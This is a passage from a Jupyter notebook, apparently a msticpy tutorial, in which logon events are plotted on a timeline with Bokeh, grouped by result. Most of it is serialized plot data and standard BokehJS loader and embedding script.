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Application\",\"version\":\"2.3.2\"}};\n",
       "  var render_items = [{\"docid\":\"e7a54260-984e-4d3c-945f-f929daf8fe47\",\"root_ids\":[\"1530\"],\"roots\":{\"1530\":\"0b8aa171-245c-4d31-8e65-2b45de40ac21\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        clearInterval(timer);\n",
       "        embed_document(root);\n",
       "      } else {\n",
       "        attempts++;\n",
       "        if (attempts > 100) {\n",
       "          clearInterval(timer);\n",
       "          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        }\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1530"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.models.layouts.Column\">Column</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'1530', <span id=\"1766\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">children&nbsp;=&nbsp;[Figure(id='1449', ...), Figure(id='1481', ...)],</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">rows&nbsp;=&nbsp;'auto',</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">spacing&nbsp;=&nbsp;0,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;None,</div></div><div class=\"1765\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto')</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  var expanded = false;\n",
       "  var ellipsis = document.getElementById(\"1766\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    var rows = document.getElementsByClassName(\"1765\");\n",
       "    for (var i = 0; i < rows.length; i++) {\n",
       "      var el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Column(id='1530', ...)"
      ]
     },
     "execution_count": 24,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "disp_cols = [\"UserPrincipalName\", \"IPAddress\", \"AppDisplayName\", \"Result\"]\r\n",
    "\r\n",
    "logons_df.mp_timeline.plot(\r\n",
    "    title=\"Logon events\",\r\n",
    "    source_columns=disp_cols,  # columns displayed in hover\r\n",
    ")\r\n",
    "\r\n",
    "logons_df.mp_timeline.plot(\r\n",
    "    title=\"Logon events by User\",\r\n",
    "    source_columns=disp_cols,  # columns displayed in hover\r\n",
    "    group_by=\"Result\",\r\n",
    ")\r\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Use the `group_by` parameter to partition the data"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1767\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"1767\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) {\n",
       "        if (callback != null)\n",
       "          callback();\n",
       "      });\n",
       "    } finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.debug(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(css_urls, js_urls, callback) {\n",
       "    if (css_urls == null) css_urls = [];\n",
       "    if (js_urls == null) js_urls = [];\n",
       "\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = css_urls.length + js_urls.length;\n",
       "\n",
       "    function on_load() {\n",
       "      root._bokeh_is_loading--;\n",
       "      if (root._bokeh_is_loading === 0) {\n",
       "        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n",
       "        run_callbacks()\n",
       "      }\n",
       "    }\n",
       "\n",
       "    function on_error(url) {\n",
       "      console.error(\"failed to load \" + url);\n",
       "    }\n",
       "\n",
       "    for (let i = 0; i < css_urls.length; i++) {\n",
       "      const url = css_urls[i];\n",
       "      const element = document.createElement(\"link\");\n",
       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.rel = \"stylesheet\";\n",
       "      element.type = \"text/css\";\n",
       "      element.href = url;\n",
       "      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n",
       "      document.body.appendChild(element);\n",
       "    }\n",
       "\n",
       "    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\": \"XypntL49z55iwGVUW4qsEu83zKL3XEcz0MjuGOQ9SlaaQ68X/g+k1FcioZi7oQAc\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\": \"bEsM86IHGDTLCS0Zod8a8WM6Y4+lafAL/eSiyQcuPzinmWNgNO2/olUF0Z2Dkn5i\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\": \"TX0gSQTdXTTeScqxj6PVQxTiRW8DOoGVwinyi1D3kxv7wuxQ02XkOxv0xwiypcAH\"};\n",
       "\n",
       "    for (let i = 0; i < js_urls.length; i++) {\n",
       "      const url = js_urls[i];\n",
       "      const element = document.createElement('script');\n",
       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.async = false;\n",
       "      element.src = url;\n",
       "      if (url in hashes) {\n",
       "        element.crossOrigin = \"anonymous\";\n",
       "        element.integrity = \"sha384-\" + hashes[url];\n",
       "      }\n",
       "      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.head.appendChild(element);\n",
       "    }\n",
       "  };\n",
       "\n",
       "  function inject_raw_css(css) {\n",
       "    const element = document.createElement(\"style\");\n",
       "    element.appendChild(document.createTextNode(css));\n",
       "    document.body.appendChild(element);\n",
       "  }\n",
       "\n",
       "  \n",
       "  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\"];\n",
       "  var css_urls = [];\n",
       "  \n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    function(Bokeh) {\n",
       "    \n",
       "    \n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if (root.Bokeh !== undefined || force === true) {\n",
       "      \n",
       "    for (var i = 0; i < inline_js.length; i++) {\n",
       "      inline_js[i].call(root, root.Bokeh);\n",
       "    }\n",
       "    if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"1767\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(css_urls, js_urls, function() {\n",
       "      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"8ebc79a2-dc23-4377-8114-987db41b61f1\" data-root-id=\"2188\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
